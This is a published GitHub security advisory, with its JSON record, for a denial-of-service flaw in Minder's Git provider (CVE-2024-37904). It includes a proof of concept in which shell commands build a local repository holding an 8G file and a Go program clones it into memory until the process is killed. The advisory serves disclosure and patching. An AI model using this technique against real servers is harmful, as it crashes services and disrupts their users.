GHSA-HPCG-XJQ5-G666

Vulnerability from github – Published: 2024-06-18 16:34 – Updated: 2024-06-18 19:27
VLAI?
Summary
Minder affected by denial of service from maliciously configured Git repository
Details

Minder's Git provider is vulnerable to a denial of service from a maliciously configured GitHub repository. The Git provider clones users repositories using the github.com/go-git/go-git/v5 library on these lines:

https://github.com/stacklok/minder/blob/85985445c8ac3e51f03372e99c7b2f08a6d274aa/internal/providers/git/git.go#L55-L89

The Git provider does the following on these lines:

First, it sets the CloneOptions, specifying the url, the depth etc:

https://github.com/stacklok/minder/blob/85985445c8ac3e51f03372e99c7b2f08a6d274aa/internal/providers/git/git.go#L56-L62

It then validates the options:

https://github.com/stacklok/minder/blob/85985445c8ac3e51f03372e99c7b2f08a6d274aa/internal/providers/git/git.go#L66-L68

It then sets up an in-memory filesystem, to which it clones:

https://github.com/stacklok/minder/blob/85985445c8ac3e51f03372e99c7b2f08a6d274aa/internal/providers/git/git.go#L70-L71

Finally, it clones the repository:

https://github.com/stacklok/minder/blob/85985445c8ac3e51f03372e99c7b2f08a6d274aa/internal/providers/git/git.go#L77

This (g *Git) Clone() method is vulnerable to a DoS attack: A Minder user can instruct Minder to clone a large repository which will exhaust memory and crash the Minder server. The root cause of this vulnerability is a combination of the following conditions:

  1. Users can control the Git URL which Minder clones.
  2. Minder does not enforce a size limit to the repository.
  3. Minder clones the entire repository into memory.

PoC

Here, we share a PoC of how the logic of (g *Git) Clone() behaves isolated from Minder. To get a true assessment of whether this is 100% identical to its behavior in the context of Minder instead of an isolated PoC, this should be tested out by creating a large repository and instructing Minder to clone it. However, even in that case, it might not be possible to deterministically trigger a DoS because of noise from network calls.

We believe the below PoC is a correct representation because:

  1. We have replicated the important and impactful parts of (g *Git) Clone()
  2. We run this in multiple goroutines which Minder does here: https://github.com/stacklok/minder/blob/3afa50ef2e06269ed619d390d266cf1988c2068b/internal/engine/executor.go#L128
  3. Minders timeout is set to 5 minutes: https://github.com/stacklok/minder/blob/3afa50ef2e06269ed619d390d266cf1988c2068b/internal/engine/executor.go#L114. With a reasonable connection, Minder can download many GBs in that period.

In our PoC, we demonstrate that under these two conditions, a large repository can perform a SigKill of the Go process which in Minders case is the Minder server.

First, create a local Git repository:

cd /tmp
mkdir upstream-repo
cd upstream-repo
git init --bare
cd /tmp
git clone /tmp/upstream-repo ./upstream-repo-clone
cd ./upstream-repo-clone
# Add large file:
fallocate -l 8G large-file
git add .
git commit -m "add large file"
git push
cd /tmp

Create and run the following script in /tmp/dos-poc/main.go:

package main

import (
        "context"
        "fmt"
        "github.com/go-git/go-billy/v5/memfs"
        "github.com/go-git/go-git/v5"
        "github.com/go-git/go-git/v5/storage/memory"
        "runtime"
        "sync"
)

func main() {
        var (
                wg  sync.WaitGroup
        )

        for i := 0; i < 2; i++ {
                fmt.Println("Starting one...")
                wg.Add(1)
                go func() {
                        defer wg.Done()
                        opts := &git.CloneOptions{
                                URL:          "/tmp/upstream-repo",
                                SingleBranch: true,
                                Depth:        1,
                                Tags:         git.NoTags,
                        }

                        storer := memory.NewStorage()
                        fs := memfs.New()
                        git.CloneContext(context.Background(), storer, fs, opts)
                }()
        }
        fmt.Println("Finished")
        PrintMemUsage()
        wg.Wait()

}

func PrintMemUsage() {
        var m runtime.MemStats
        runtime.ReadMemStats(&m)
        // For info on each, see: https://golang.org/pkg/runtime/#MemStats
        fmt.Printf("Alloc = %v MiB", bToMb(m.Alloc))
        fmt.Printf("\tTotalAlloc = %v MiB", bToMb(m.TotalAlloc))
        fmt.Printf("\tSys = %v MiB", bToMb(m.Sys))
        fmt.Printf("\tNumGC = %v\n", m.NumGC)
}

func bToMb(b uint64) uint64 {
        return b / 1024 / 1024
}

On my local machine, this Go program is killed before it prints "Finished" in the terminal. Observing the memory by way of top, we can see that the memory climbs steadily until the program crashes around 93% memory consumption.

Severity ?
5.7 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/stacklok/minder"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.52"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-37904"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-06-18T16:34:24Z",
    "nvd_published_at": "2024-06-18T17:15:52Z",
    "severity": "MODERATE"
  },
  "details": "Minder\u0027s Git provider is vulnerable to a denial of service from a maliciously configured GitHub repository. The Git provider clones users repositories using the `github.com/go-git/go-git/v5` library on these lines:\n\nhttps://github.com/stacklok/minder/blob/85985445c8ac3e51f03372e99c7b2f08a6d274aa/internal/providers/git/git.go#L55-L89\n\nThe Git provider does the following on these lines:\n\nFirst, it sets the `CloneOptions`, specifying the url, the depth etc:\n\nhttps://github.com/stacklok/minder/blob/85985445c8ac3e51f03372e99c7b2f08a6d274aa/internal/providers/git/git.go#L56-L62\n\nIt then validates the options: \n\nhttps://github.com/stacklok/minder/blob/85985445c8ac3e51f03372e99c7b2f08a6d274aa/internal/providers/git/git.go#L66-L68\n\nIt then sets up an in-memory filesystem, to which it clones:\n\nhttps://github.com/stacklok/minder/blob/85985445c8ac3e51f03372e99c7b2f08a6d274aa/internal/providers/git/git.go#L70-L71\n\nFinally, it clones the repository:\n\nhttps://github.com/stacklok/minder/blob/85985445c8ac3e51f03372e99c7b2f08a6d274aa/internal/providers/git/git.go#L77\n\nThis `(g *Git) Clone()` method is vulnerable to a DoS attack: A Minder user can instruct Minder to clone a large repository which will exhaust memory and crash the Minder server. The root cause of this vulnerability is a combination of the following conditions:\n\n1. Users can control the Git URL which Minder clones.\n2. Minder does not enforce a size limit to the repository.\n3. Minder clones the entire repository into memory.\n\n## PoC\nHere, we share a PoC of how the logic of `(g *Git) Clone()` behaves isolated from Minder. To get a true assessment of whether this is 100% identical to its behavior in the context of Minder instead of an isolated PoC, this should be tested out by creating a large repository and instructing Minder to clone it. However, even in that case, it might not be possible to deterministically trigger a DoS because of noise from network calls.\n\nWe believe the below PoC is a correct representation because:\n\n1. We have replicated the important and impactful parts of `(g *Git) Clone()`\n2. We run this in multiple goroutines which Minder does here: https://github.com/stacklok/minder/blob/3afa50ef2e06269ed619d390d266cf1988c2068b/internal/engine/executor.go#L128\n3. Minders timeout is set to 5 minutes: https://github.com/stacklok/minder/blob/3afa50ef2e06269ed619d390d266cf1988c2068b/internal/engine/executor.go#L114. With a reasonable connection, Minder can download many GBs in that period.\n\nIn our PoC, we demonstrate that under these two conditions, a large repository can perform a SigKill of the Go process which in Minders case is the Minder server.\n\nFirst, create a local Git repository:\n```\ncd /tmp\nmkdir upstream-repo\ncd upstream-repo\ngit init --bare\ncd /tmp\ngit clone /tmp/upstream-repo ./upstream-repo-clone\ncd ./upstream-repo-clone\n# Add large file:\nfallocate -l 8G large-file\ngit add .\ngit commit -m \"add large file\"\ngit push\ncd /tmp\n```\n\nCreate and run the following script in `/tmp/dos-poc/main.go`:\n\n```go\npackage main\n\nimport (\n        \"context\"\n        \"fmt\"\n        \"github.com/go-git/go-billy/v5/memfs\"\n        \"github.com/go-git/go-git/v5\"\n        \"github.com/go-git/go-git/v5/storage/memory\"\n        \"runtime\"\n        \"sync\"\n)\n\nfunc main() {\n        var (\n                wg  sync.WaitGroup\n        )\n\n        for i := 0; i \u003c 2; i++ {\n                fmt.Println(\"Starting one...\")\n                wg.Add(1)\n                go func() {\n                        defer wg.Done()\n                        opts := \u0026git.CloneOptions{\n                                URL:          \"/tmp/upstream-repo\",\n                                SingleBranch: true,\n                                Depth:        1,\n                                Tags:         git.NoTags,\n                        }\n\n                        storer := memory.NewStorage()\n                        fs := memfs.New()\n                        git.CloneContext(context.Background(), storer, fs, opts)\n                }()\n        }\n        fmt.Println(\"Finished\")\n        PrintMemUsage()\n        wg.Wait()\n\n}\n\nfunc PrintMemUsage() {\n        var m runtime.MemStats\n        runtime.ReadMemStats(\u0026m)\n        // For info on each, see: https://golang.org/pkg/runtime/#MemStats\n        fmt.Printf(\"Alloc = %v MiB\", bToMb(m.Alloc))\n        fmt.Printf(\"\\tTotalAlloc = %v MiB\", bToMb(m.TotalAlloc))\n        fmt.Printf(\"\\tSys = %v MiB\", bToMb(m.Sys))\n        fmt.Printf(\"\\tNumGC = %v\\n\", m.NumGC)\n}\n\nfunc bToMb(b uint64) uint64 {\n        return b / 1024 / 1024\n}\n```\n\nOn my local machine, this Go program is killed before it prints \"Finished\" in the terminal. Observing the memory by way of `top`, we can see that the memory climbs steadily until the program crashes around 93% memory consumption.",
  "id": "GHSA-hpcg-xjq5-g666",
  "modified": "2024-06-18T19:27:35Z",
  "published": "2024-06-18T16:34:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/stacklok/minder/security/advisories/GHSA-hpcg-xjq5-g666"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-37904"
    },
    {
      "type": "WEB",
      "url": "https://github.com/stacklok/minder/commit/35bab8f9a6025eea9e6e3cef6bd80707ac03d2a9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/stacklok/minder/commit/7979b43"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/stacklok/minder"
    },
    {
      "type": "WEB",
      "url": "https://github.com/stacklok/minder/blob/85985445c8ac3e51f03372e99c7b2f08a6d274aa/internal/providers/git/git.go#L55-L89"
    },
    {
      "type": "WEB",
      "url": "https://github.com/stacklok/minder/blob/85985445c8ac3e51f03372e99c7b2f08a6d274aa/internal/providers/git/git.go#L56-L62"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Minder affected by denial of service from maliciously configured Git repository"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.




Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Detection rules are retrieved from Rulezet.